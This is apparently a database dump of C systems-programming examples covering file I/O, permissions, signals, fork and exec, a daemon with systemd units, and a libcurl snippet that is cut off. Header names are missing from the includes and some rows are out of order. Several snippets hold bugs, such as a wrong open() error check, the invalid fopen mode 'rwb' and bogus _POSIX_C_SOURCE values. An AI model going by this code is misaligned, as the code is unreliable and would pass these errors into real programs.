195 struct option longopts[] = {\n{"help", no_argument, NULL, 'h'},\n{"value", required_argument, NULL, 'a'}\n}; text txt 2024-07-28 09:58:03.504237 0 +929 195 while ((option = getopt_long(argc, argv, "hv:", longopts, NULL)) != -1)\n{\nswitch (option)\n{\ncase 'h':\nfprintf(stdout, "usage: %s [-h] [-v ]\\\\n", argv[0]);\nbreak;\ncase 'v':\nfprintf(stdout, "value: %s\\\\n", optarg);\nbreak;\ncase '?':\nfprintf(stderr, "invalid argument\\\\n");\nbreak;\ndefault:\nfprintf(stderr, "usage: %s [-h] [-v ]\\\\n", argv[0]);\n}\n}\n} code txt 2024-07-28 09:58:03.526155 0 +930 196 #include text txt 2024-07-28 09:58:03.875682 0 +931 196 int main(int argc, char **argv)\n{\nif (argc > 1)\nexit(1); text txt 2024-07-28 09:58:03.896651 0 +932 196 return 0;\n} code txt 2024-07-28 09:58:03.917098 0 +933 197 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 202207L\n#endif text txt 2024-07-28 09:58:04.335128 0 +934 197 #include text txt 2024-07-28 09:58:04.355432 0 +935 197 int main(void)\n{\nfprintf(stdout, "standard output\\\\n");\nfprintf(stderr, "standard error\\\\n");\ndprintf(1, "standard output\\\\n");\ndprintf(2, "standard error\\\\n");\n} code txt 2024-07-28 09:58:04.376538 0 +936 198 #include \n#include \n#include text txt 2024-07-28 09:58:05.114484 0 +937 198 #define INPUT_MAX 20 text txt 2024-07-28 09:58:05.134359 0 +938 198 int main(void)\n{\nchar origin[INPUT_MAX] = {0};\nchar inverted[INPUT_MAX] = {0}; text txt 2024-07-28 09:58:05.155563 0 +1172 242 return errno;\n} code txt 2024-07-28 09:58:40.8668 0 +939 198 while (fgets(origin, INPUT_MAX, stdin))\n{\nfor (int index = 0; index < sizeof(origin); ++index)\n{\nif (origin[index] >= 'a' && origin[index] <= 'z')\ninverted[index] = origin[index] - 32;\nelse if (origin[index] >= 'A' && origin[index] <= 'Z')\ninverted[index] = origin[index] + 32;\nelse\ninverted[index] = origin[index];\n} text txt 2024-07-28 09:58:05.17764 0 +940 198 fprintf(stdout, "%s\\\\n", inverted);\nmemset(&inverted, 0, sizeof(inverted));\nmemset(&origin, 0, sizeof(origin));\n}\n} code txt 2024-07-28 09:58:05.198475 0 +941 199 #include \n#include \n#include text txt 2024-07-28 09:58:05.719058 0 +942 199 #define INPUT_MAX 20 text txt 2024-07-28 09:58:05.740163 0 +943 199 int main(void)\n{\nchar input[INPUT_MAX] = {0}; text txt 2024-07-28 09:58:05.761411 0 +944 199 if (fgets(input, sizeof(input), stdin) == NULL)\nfprintf(stderr, "invalid input\\\\n"); text txt 2024-07-28 09:58:05.781601 0 +945 199 if (strspn(input, "0123456789\\\\n") == strlen(input))\nprintf("valid\\\\n");\nelse\nprintf("invalid\\\\n");\n} code txt 2024-07-28 09:58:05.801862 0 +946 200 #include \n#include \n#include text txt 2024-07-28 09:58:06.31497 0 +947 200 #define GRN_COLOR "\\\\033[1;31m"\n#define RST_COLOR "\\\\033[0m" text txt 2024-07-28 09:58:06.335712 0 +948 200 int main(void)\n{\nchar const *term = getenv("TERM"); text txt 2024-07-28 09:58:06.356587 0 +949 200 if (strlen(term) && strstr(term, "256color"))\nprintf(GRN_COLOR "color supported\\\\n" RST_COLOR);\nelse\nprintf("color not supported\\\\n");\n} code txt 2024-07-28 09:58:06.378187 0 +950 201 gcc -Wall -Wextra -pedantic -fPIC -c source.c\ngcc -shared -Wl,-soname,libsource.so -o libsource.so source.o code txt 2024-07-28 09:58:06.621953 0 +951 202 #include text txt 2024-07-28 09:58:06.889568 0 +952 202 int main(void)\n{\nwrite(1, "system call\\\\n", 13);\n} code txt 2024-07-28 09:58:06.909804 0 +953 203 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:07.625938 0 +954 203 int main(void)\n{\nprintf("%-20s %s\\\\n", "Current Directory:", getcwd(NULL, PATH_MAX));\nprintf("%-20s %d\\\\n", "User ID:", getuid());\nprintf("%-20s %d\\\\n", "Effective User ID:", geteuid());\nprintf("%-20s %d\\\\n", "Process ID:", getpid());\nprintf("%-20s %d\\\\n", "Parent Process ID:", getppid()); text txt 2024-07-28 09:58:07.646257 0 +955 203 struct sysinfo info;\nif (sysinfo(&info) == -1)\n{\nperror("failed to retrieve system information");\nreturn errno;\n} text txt 2024-07-28 09:58:07.66759 0 +956 203 printf("%-20s %ld\\\\n", "Uptime:", info.uptime);\nprintf("%-20s %ld\\\\n", "Total Ram in Use:", info.totalram);\nprintf("%-20s %ld\\\\n", "Free Ram:", info.freeram);\nprintf("%-20s %d\\\\n", "Number of Processes:", info.procs);\nprintf("%-20s %ld\\\\n", "Total Swap:", info.totalswap);\n} code txt 2024-07-28 09:58:07.689505 0 +957 206 gcc -P -E # stop at preprocessing stage\ngcc -S # stop at assembly stage\ngcc -c # stop at object file stage\ngcc -o # create an executable code txt 2024-07-28 09:58:08.22913 0 +958 208 #include \n#include \n#include text txt 2024-07-28 09:58:08.788659 0 +959 208 int main(void)\n{\nlong int number = strtol("1234", NULL, 10); text txt 2024-07-28 09:58:08.80943 0 +960 208 if (errno)\nperror("cannot convert to long int");\nelse\nprintf("%ld\\\\n", number); text txt 2024-07-28 09:58:08.83044 0 +961 208 return errno;\n} code txt 2024-07-28 09:58:08.850545 0 +962 209 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:09.808446 0 +963 209 int main(int argc, char **argv)\n{\nint fd = 0;\nchar filepath[PATH_MAX] = {0}; text txt 2024-07-28 09:58:09.829071 0 +964 209 if (argc != 2)\n{\nprintf("usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:09.849933 0 +965 209 strncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:09.869861 0 +966 209 if ((fd = creat(filepath, S_IRUSR | S_IWUSR)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:09.890601 0 +967 209 if (write(fd, "another sample\\\\n", 16) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:09.911261 0 +968 209 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:09.931681 0 +969 210 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:10.782646 0 +970 210 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:10.804379 0 +971 210 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:10.825336 0 +972 210 struct stat filestat;\nif (stat(filepath, &filestat) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:10.846702 0 +973 210 printf("Name: %s\\\\n", filepath);\nprintf("Device: %lu\\\\n", filestat.st_dev);\nprintf("Mode: %o\\\\n", filestat.st_mode);\nprintf("Inode: %lu\\\\n", filestat.st_ino);\nprintf("Size: %zd\\\\n", filestat.st_size);\nprintf("Links: %lu\\\\n", filestat.st_nlink);\n} code txt 2024-07-28 09:58:10.86877 0 +974 211 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:11.80019 0 +975 211 int main(int argc, char **argv)\n{\nif (argc != 4)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:11.820485 0 +976 211 char realpath[PATH_MAX] = {0};\nstrncpy(realpath, argv[1], sizeof(realpath)); text txt 2024-07-28 09:58:11.841507 0 +977 211 char hardlinkpath[PATH_MAX] = {0};\nstrncpy(hardlinkpath, argv[2], sizeof(hardlinkpath)); text txt 2024-07-28 09:58:11.862598 0 +978 211 char symlinkpath[PATH_MAX] = {0};\nstrncpy(symlinkpath, argv[3], sizeof(symlinkpath)); text txt 2024-07-28 09:58:11.882314 0 +979 211 if (link(realpath, hardlinkpath) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:11.903276 0 +980 211 if (symlink(realpath, symlinkpath) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:11.925301 0 +981 212 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:12.595718 0 +982 212 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:12.617098 0 +983 212 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:12.638131 0 +984 212 if (utime(filepath, NULL))\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:12.658763 0 +985 213 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:13.328012 0 +986 213 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:13.348889 0 +987 213 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:13.36994 0 +988 213 if (unlink(filepath) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:13.390129 0 +989 214 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:14.529172 0 +990 214 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:14.549927 0 +993 214 printf("Name: %s\\\\n", filepath);\nprintf("Device: %lu\\\\n", filestat.st_dev);\nprintf("Mode: %o\\\\n", filestat.st_mode);\nprintf("Inode: %lu\\\\n", filestat.st_ino);\nprintf("Size: %zd\\\\n", filestat.st_size);\nprintf("Links: %lu\\\\n", filestat.st_nlink); text txt 2024-07-28 09:58:14.613737 0 +994 214 struct passwd *userinfo; text txt 2024-07-28 09:58:14.634242 0 +995 214 if ((userinfo = getpwuid(filestat.st_uid)) == NULL)\nperror(NULL);\nelse\nprintf("User: %u (%s)\\\\n", userinfo->pw_uid, userinfo->pw_name); text txt 2024-07-28 09:58:14.655819 0 +996 214 struct group *groupinfo; text txt 2024-07-28 09:58:14.677305 0 +997 214 if ((groupinfo = getgrgid(filestat.st_gid)) == NULL)\nperror(NULL);\nelse\nprintf("Group: %u (%s)\\\\n", groupinfo->gr_gid, groupinfo->gr_name);\n} code txt 2024-07-28 09:58:14.698487 0 +998 215 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:15.600358 0 +999 215 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:15.621006 0 +1000 215 mode_t mode = 0; text txt 2024-07-28 09:58:15.640082 0 +1001 215 mode = strtol(argv[1], NULL, 8);\nif (errno)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:15.66063 0 +1002 215 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[2], sizeof(filepath)); text txt 2024-07-28 09:58:15.681585 0 +1003 215 if (chmod(filepath, mode) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:15.701202 0 +1004 216 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:16.939874 0 +1005 216 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:16.960915 0 +1006 216 char *owner = strtok(argv[1], ":");\nchar *group = strtok(NULL, ":"); text txt 2024-07-28 09:58:16.981333 0 +1007 216 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[2], sizeof(filepath)); text txt 2024-07-28 09:58:17.002075 0 +1008 216 struct passwd *userinfo;\nstruct group *groupinfo; text txt 2024-07-28 09:58:17.022026 0 +1009 216 if ((userinfo = getpwnam(owner)) == NULL)\n{\nif (errno == 0)\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", "owner not found");\nelse\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno));\nreturn errno;\n} text txt 2024-07-28 09:58:17.042826 0 +1010 216 if ((groupinfo = getgrnam(group)) == NULL)\n{\nif (errno == 0)\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", "group not found");\nelse\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno)); text txt 2024-07-28 09:58:17.063237 0 +1011 216 return errno;\n} text txt 2024-07-28 09:58:17.08362 0 +1012 216 if (chown(filepath, userinfo->pw_uid, groupinfo->gr_gid) == -1)\n{\nperror(NULL);\nfprintf(stderr, "\\\\033[1;31m%s\\\\033[0m\\\\n", strerror(errno));\nreturn errno;\n}\n} code txt 2024-07-28 09:58:17.105289 0 +1013 217 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:18.192421 0 +1014 217 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:18.21291 0 +1015 217 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:18.233847 0 +1016 217 int fd = 0; text txt 2024-07-28 09:58:18.255187 0 +1017 217 if ((fd = open(filepath, O_CREAT|O_RDWR|O_TRUNC, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:18.275107 0 +1018 217 time_t const epoch = time(NULL);\nchar const *now = ctime(&epoch); text txt 2024-07-28 09:58:18.294742 0 +1019 217 if (write(fd, now, strlen(now)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:18.314807 0 +1020 217 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:18.334688 0 +1021 218 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:19.294688 0 +1022 218 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:19.316059 0 +1023 218 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:19.336625 0 +1024 218 int fd = 0;\nif ((fd = open(filepath, O_RDONLY)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:19.356499 0 +1025 218 char buffer[100] = {0};\nif (read(fd, buffer, sizeof(buffer)) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:19.37642 0 +1026 218 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:19.396309 0 +1027 218 if (close(fd) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n} code txt 2024-07-28 09:58:19.416635 0 +1028 219 #include \n#include \n#include text txt 2024-07-28 09:58:20.342799 0 +1029 219 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:20.363398 0 +1030 219 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:20.383763 0 +1031 219 FILE *fp = NULL;\nif ((fp = fopen(filepath, "w")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:20.405478 0 +1032 219 char buffer[100] = {0}; text txt 2024-07-28 09:58:20.425063 0 +1033 219 while (fgets(buffer, sizeof(buffer), stdin))\n{\nfprintf(fp, "%s\\\\n", buffer);\n} text txt 2024-07-28 09:58:20.445605 0 +1034 219 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 3;\n}\n} code txt 2024-07-28 09:58:20.466305 0 +1035 220 #include \n#include \n#include text txt 2024-07-28 09:58:21.646509 0 +1036 220 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:21.666895 0 +1037 220 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:21.687686 0 +1038 220 FILE *fp = NULL;\nif ((fp = fopen(filepath, "rwb")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:21.707521 0 +1039 220 double numbers[3] = {1.1, 2.2, 3.3}; text txt 2024-07-28 09:58:21.727503 0 +1040 220 if (fwrite(&numbers, sizeof(double), sizeof(numbers)/sizeof(double), fp) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:21.748998 0 +1041 220 printf("wrote %.1f %.1f %.1f numbers\\\\n", numbers[0], numbers[1], numbers[2]); text txt 2024-07-28 09:58:21.770675 0 +1042 220 double buffer[3] = {0}; text txt 2024-07-28 09:58:21.79074 0 +1043 220 if (fread(&buffer, sizeof(double), sizeof(buffer)/sizeof(double), fp) == -1)\n{\nperror(NULL);\nreturn 4;\n} text txt 2024-07-28 09:58:21.811142 0 +1044 220 printf("read %.1f %.1f %.1f numbers\\\\n", buffer[0], buffer[1], buffer[2]); text txt 2024-07-28 09:58:21.831236 0 +1045 220 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:21.851533 0 +1046 221 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:23.009711 0 +1047 221 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:23.030102 0 +1048 221 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:23.050729 0 +1049 221 off_t offset = strtol(argv[2], NULL, 10); text txt 2024-07-28 09:58:23.071207 0 +1050 221 int fd = 0;\nif ((fd = open(filepath, O_RDONLY)) == 0)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:23.091655 0 +1051 221 if (lseek(fd, offset, SEEK_SET) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:23.112817 0 +1052 221 char buffer[10000] = {0};\nif (read(fd, buffer, sizeof(buffer)) == -1)\n{\nperror(NULL);\nreturn 4;\n} text txt 2024-07-28 09:58:23.133454 0 +1053 221 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:23.155866 0 +1054 221 if (close(fd) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:23.178181 0 +1055 222 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:24.258398 0 +1056 222 int main(int argc, char **argv)\n{\nif (argc != 3)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:24.278929 0 +1057 222 char filepath[PATH_MAX] = {0};\nstrncpy(filepath, argv[1], sizeof(filepath)); text txt 2024-07-28 09:58:24.301729 0 +1058 222 off_t offset = strtol(argv[2], NULL, 10); text txt 2024-07-28 09:58:24.322278 0 +1059 222 FILE *fp = NULL;\nif ((fp = fopen(filepath, "r")) == NULL)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:24.342955 0 +1060 222 if (fseek(fp, offset, SEEK_SET) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:24.362487 0 +1061 222 char buffer[1000] = {0};\nwhile (fgets(buffer, sizeof(buffer), fp) != NULL)\n{\nprintf("%s", buffer);\n}\nprintf("\\\\n"); text txt 2024-07-28 09:58:24.383123 0 +1062 222 if (fclose(fp) == -1)\n{\nperror(NULL);\nreturn 5;\n}\n} code txt 2024-07-28 09:58:24.403066 0 +1063 223 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 11082022L\n#endif text txt 2024-07-28 09:58:25.297944 0 +1064 223 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:25.319224 0 +1065 223 void signal_handler(int); text txt 2024-07-28 09:58:25.339292 0 +1066 223 int main(void)\n{\nstruct sigaction action; text txt 2024-07-28 09:58:25.359988 0 +1067 223 action.sa_flags = SA_RESTART;\naction.sa_handler = signal_handler;\nsigfillset(&action.sa_mask); text txt 2024-07-28 09:58:25.381399 0 +1068 223 sigaction(SIGHUP, &action, NULL);\nsigaction(SIGINT, &action, NULL); text txt 2024-07-28 09:58:25.401616 0 +1069 223 for (;;)\nsleep(10);\n} text txt 2024-07-28 09:58:25.422177 0 +1070 223 void signal_handler(int signal)\n{\nprintf("\\\\nprocess killed by signal %d\\\\n", signal);\nexit(signal);\n} code txt 2024-07-28 09:58:25.44322 0 +1071 224 #include \n#include \n#include text txt 2024-07-28 09:58:26.245449 0 +1072 224 int main(void)\n{\nsigset_t signals;\nsigset_t old_signals; text txt 2024-07-28 09:58:26.266884 0 +1073 224 if (sigemptyset(&signals) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:26.288421 0 +1074 224 if (sigaddset(&signals, SIGHUP) == -1)\n{\nperror(NULL);\nreturn 2;\n} text txt 2024-07-28 09:58:26.310353 0 +1075 224 if (sigprocmask(SIG_BLOCK, &signals, &old_signals) == -1)\n{\nperror(NULL);\nreturn 3;\n} text txt 2024-07-28 09:58:26.332321 0 +1076 224 sleep(10); text txt 2024-07-28 09:58:26.351942 0 +1077 224 sigprocmask(SIG_UNBLOCK, &signals, &old_signals);\n} code txt 2024-07-28 09:58:26.373343 0 +1078 225 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:27.310546 0 +1079 225 int main(void)\n{\npid_t child;\nint status; text txt 2024-07-28 09:58:27.332092 0 +1080 225 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:27.353452 0 +1081 225 if (child == 0)\n{\nprintf("child: %d\\\\n", getpid()); text txt 2024-07-28 09:58:27.37512 0 +1082 225 if (execl("/usr/bin/ps", "ps", "-f", "--forest", (char*)NULL) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n}\nelse\n{\nprintf("parent: %d\\\\n", getpid());\nwaitpid(child, &status, 0);\nprintf("return: %d\\\\n", status);\n}\n} code txt 2024-07-28 09:58:27.396808 0 +1083 226 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:28.213102 0 +1084 226 int main(void)\n{\npid_t child_pid;\nint seconds = 20; text txt 2024-07-28 09:58:28.233746 0 +1085 226 printf("parent: %d\\\\n", getpid()); text txt 2024-07-28 09:58:28.254485 0 +1086 226 if ((child_pid = fork()) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:28.274792 0 +1087 226 if (child_pid == 0)\n{\nprintf("child: %d\\\\n", getpid());\nexit(0);\n}\nelse\n{\nprintf("parent waiting for %ds\\\\n", seconds);\nsleep(seconds);\n}\n} code txt 2024-07-28 09:58:28.298047 0 +1088 227 #include \n#include \n#include text txt 2024-07-28 09:58:28.970977 0 +1089 227 int main(void)\n{\npid_t child;\nint seconds = 20; text txt 2024-07-28 09:58:28.992305 0 +1090 227 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn 1;\n} text txt 2024-07-28 09:58:29.012652 0 +1091 227 if (child == 0)\n{\nprintf("child: %d\\\\n", getpid());\nsleep(seconds);\n}\nelse\n{\nprintf("parent: %d\\\\n", getpid());\n}\n} code txt 2024-07-28 09:58:29.033738 0 +1092 228 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:29.983224 0 +1093 228 int main(void)\n{\npid_t child = 0;\nint status = 0; text txt 2024-07-28 09:58:30.005258 0 +1094 228 if ((child = fork()) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:30.026874 0 +1095 228 if (child == 0)\n{\nif (execl("/usr/bin/ping", "ping", "localhost", (char*)NULL) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n}\nelse\n{\nsleep(3);\nprintf("stopping...\\\\n"); text txt 2024-07-28 09:58:30.046687 0 +1096 228 if (kill(child, SIGINT) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:30.067622 0 +1097 228 waitpid(child, &status, 0);\n}\n} code txt 2024-07-28 09:58:30.087351 0 +1098 229 #include \n#include text txt 2024-07-28 09:58:30.435075 0 +1099 229 int main(void)\n{\nif (system("/usr/bin/ping -c3 localhost") != 0)\n{\nperror("cannot run command");\n}\n} code txt 2024-07-28 09:58:30.456449 0 +1100 230 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 11082022L\n#endif text txt 2024-07-28 09:58:33.261459 0 +1101 230 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:33.282984 0 +1102 230 void signal_handler(int); text txt 2024-07-28 09:58:33.303508 0 +1103 230 int stop = 0;\nFILE *fp = NULL;\nchar const *pidfile = "/var/run/custom-daemon.pid";\nchar const *storage = "/tmp/daemon.db"; text txt 2024-07-28 09:58:33.323974 0 +1104 230 int main(void)\n{\npid_t process_id;\npid_t session_id; text txt 2024-07-28 09:58:33.344094 0 +1105 230 if ((process_id = fork()) == -1)\n{\nperror("cannot fork");\nreturn 1;\n} text txt 2024-07-28 09:58:33.36427 0 +1106 230 if (process_id > 0)\n{\nwaitpid(process_id, NULL, 0);\nreturn 0;\n} text txt 2024-07-28 09:58:33.385645 0 +1107 230 if ((session_id = setsid()) == -1)\n{\nperror("cannot create new session");\nreturn errno;\n} text txt 2024-07-28 09:58:33.406131 0 +1108 230 printf("new parent process id %d with session id %d\\\\n", getpid(), session_id); text txt 2024-07-28 09:58:33.426909 0 +1109 230 if ((process_id = fork()) == -1)\n{\nperror("cannot create daemon process");\nreturn errno;\n} text txt 2024-07-28 09:58:33.447178 0 +1173 243 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 200809L\n#endif text txt 2024-07-28 09:58:42.160689 0 +1110 230 if (process_id > 0)\n{\nif ((fp = fopen(pidfile, "w")) == NULL)\n{\nperror("cannot create pid file");\nkill(process_id, SIGKILL);\nreturn errno;\n} text txt 2024-07-28 09:58:33.468813 0 +1111 230 fprintf(fp, "%d\\\\n", process_id);\nprintf("daemon started with id %d\\\\n", process_id); text txt 2024-07-28 09:58:33.488923 0 +1112 230 if (fclose(fp) == -1)\n{\nperror("cannot close pid file");\nreturn errno;\n} text txt 2024-07-28 09:58:33.509684 0 +1113 230 exit(0);\n} text txt 2024-07-28 09:58:33.530494 0 +1114 230 mode_t process_mask = 0022;\numask(process_mask); text txt 2024-07-28 09:58:33.552103 0 +1115 230 if (chdir("/") == -1)\nperror("cannot change working directory of daemon"); text txt 2024-07-28 09:58:33.573643 0 +1116 230 errno = 0; text txt 2024-07-28 09:58:33.59374 0 +1117 230 if ((fp = fopen(storage, "w")) == NULL)\n{\nperror("cannot create storage");\nreturn errno;\n} text txt 2024-07-28 09:58:33.615177 0 +1118 230 fprintf(fp, "daemon running with id %d\\\\n", getpid()); text txt 2024-07-28 09:58:33.636841 0 +1119 230 struct sigaction signals;\nsignals.sa_flags = SA_RESTART;\nsignals.sa_handler = signal_handler;\nsigaction(SIGINT, &signals, NULL);\nsigaction(SIGTERM, &signals, NULL);\nsigaction(SIGABRT, &signals, NULL);\nsigaction(SIGQUIT, &signals, NULL);\nsigaction(SIGHUP, &signals, NULL); text txt 2024-07-28 09:58:33.658792 0 +1120 230 close(STDIN_FILENO);\nclose(STDOUT_FILENO);\nclose(STDERR_FILENO);\nopen("/dev/null", 1);\nopen("/dev/null", 2);\nopen("/dev/null", 3); text txt 2024-07-28 09:58:33.678932 0 +1121 230 time_t now; text txt 2024-07-28 09:58:33.699532 0 +1122 230 while (stop == 0)\n{\nnow = time(NULL);\nfprintf(fp, "%s", ctime(&now));\nfflush(fp);\nsleep(5);\n} text txt 2024-07-28 09:58:33.720675 0 +1123 230 fprintf(fp, "daemon stopped\\\\n"); text txt 2024-07-28 09:58:33.741067 0 +1124 230 if (fclose(fp) == -1)\nexit(errno);\n} text txt 2024-07-28 09:58:33.762278 0 +1125 230 void signal_handler(int signal)\n{\nstop = 1;\nfprintf(fp, "stopping daemon\\\\n"); text txt 2024-07-28 09:58:33.782816 0 +1126 230 if (unlink(pidfile) == -1)\nfprintf(fp, "cannot remove pid file: %s\\\\n", strerror(errno));\n} code txt 2024-07-28 09:58:33.802947 0 +1127 231 [Unit]\nAfter=network-online.target\nWants=network-online.target text txt 2024-07-28 09:58:34.317533 0 +1128 231 [Service]\nType=forking\nExecStart=/usr/local/sbin/sample-daemon\nRestart=on-failure\nPIDFile=/var/run/sample-daemon.pid text txt 2024-07-28 09:58:34.339133 0 +1129 231 [Install]\nWantedBy=multi-user.target code txt 2024-07-28 09:58:34.359254 0 +1130 232 [Unit]\nAfter=network-online.target\nWants=network-online.target text txt 2024-07-28 09:58:34.741671 0 +1131 232 [Service]\nType=simple\nExecStart=/usr/local/bin/daemon\nRestart=on-failure text txt 2024-07-28 09:58:34.761994 0 +1132 232 [Install]\nWantedBy=multi-user.target code txt 2024-07-28 09:58:34.78314 0 +1133 233 #include \n#include text txt 2024-07-28 09:58:35.323612 0 +1134 233 int main(void)\n{\nCURL *curl = NULL; text txt 2024-07-28 09:58:35.344234 0 +1135 233 curl = curl_easy_init();\nif (curl)\n{\ncurl_easy_setopt(curl, 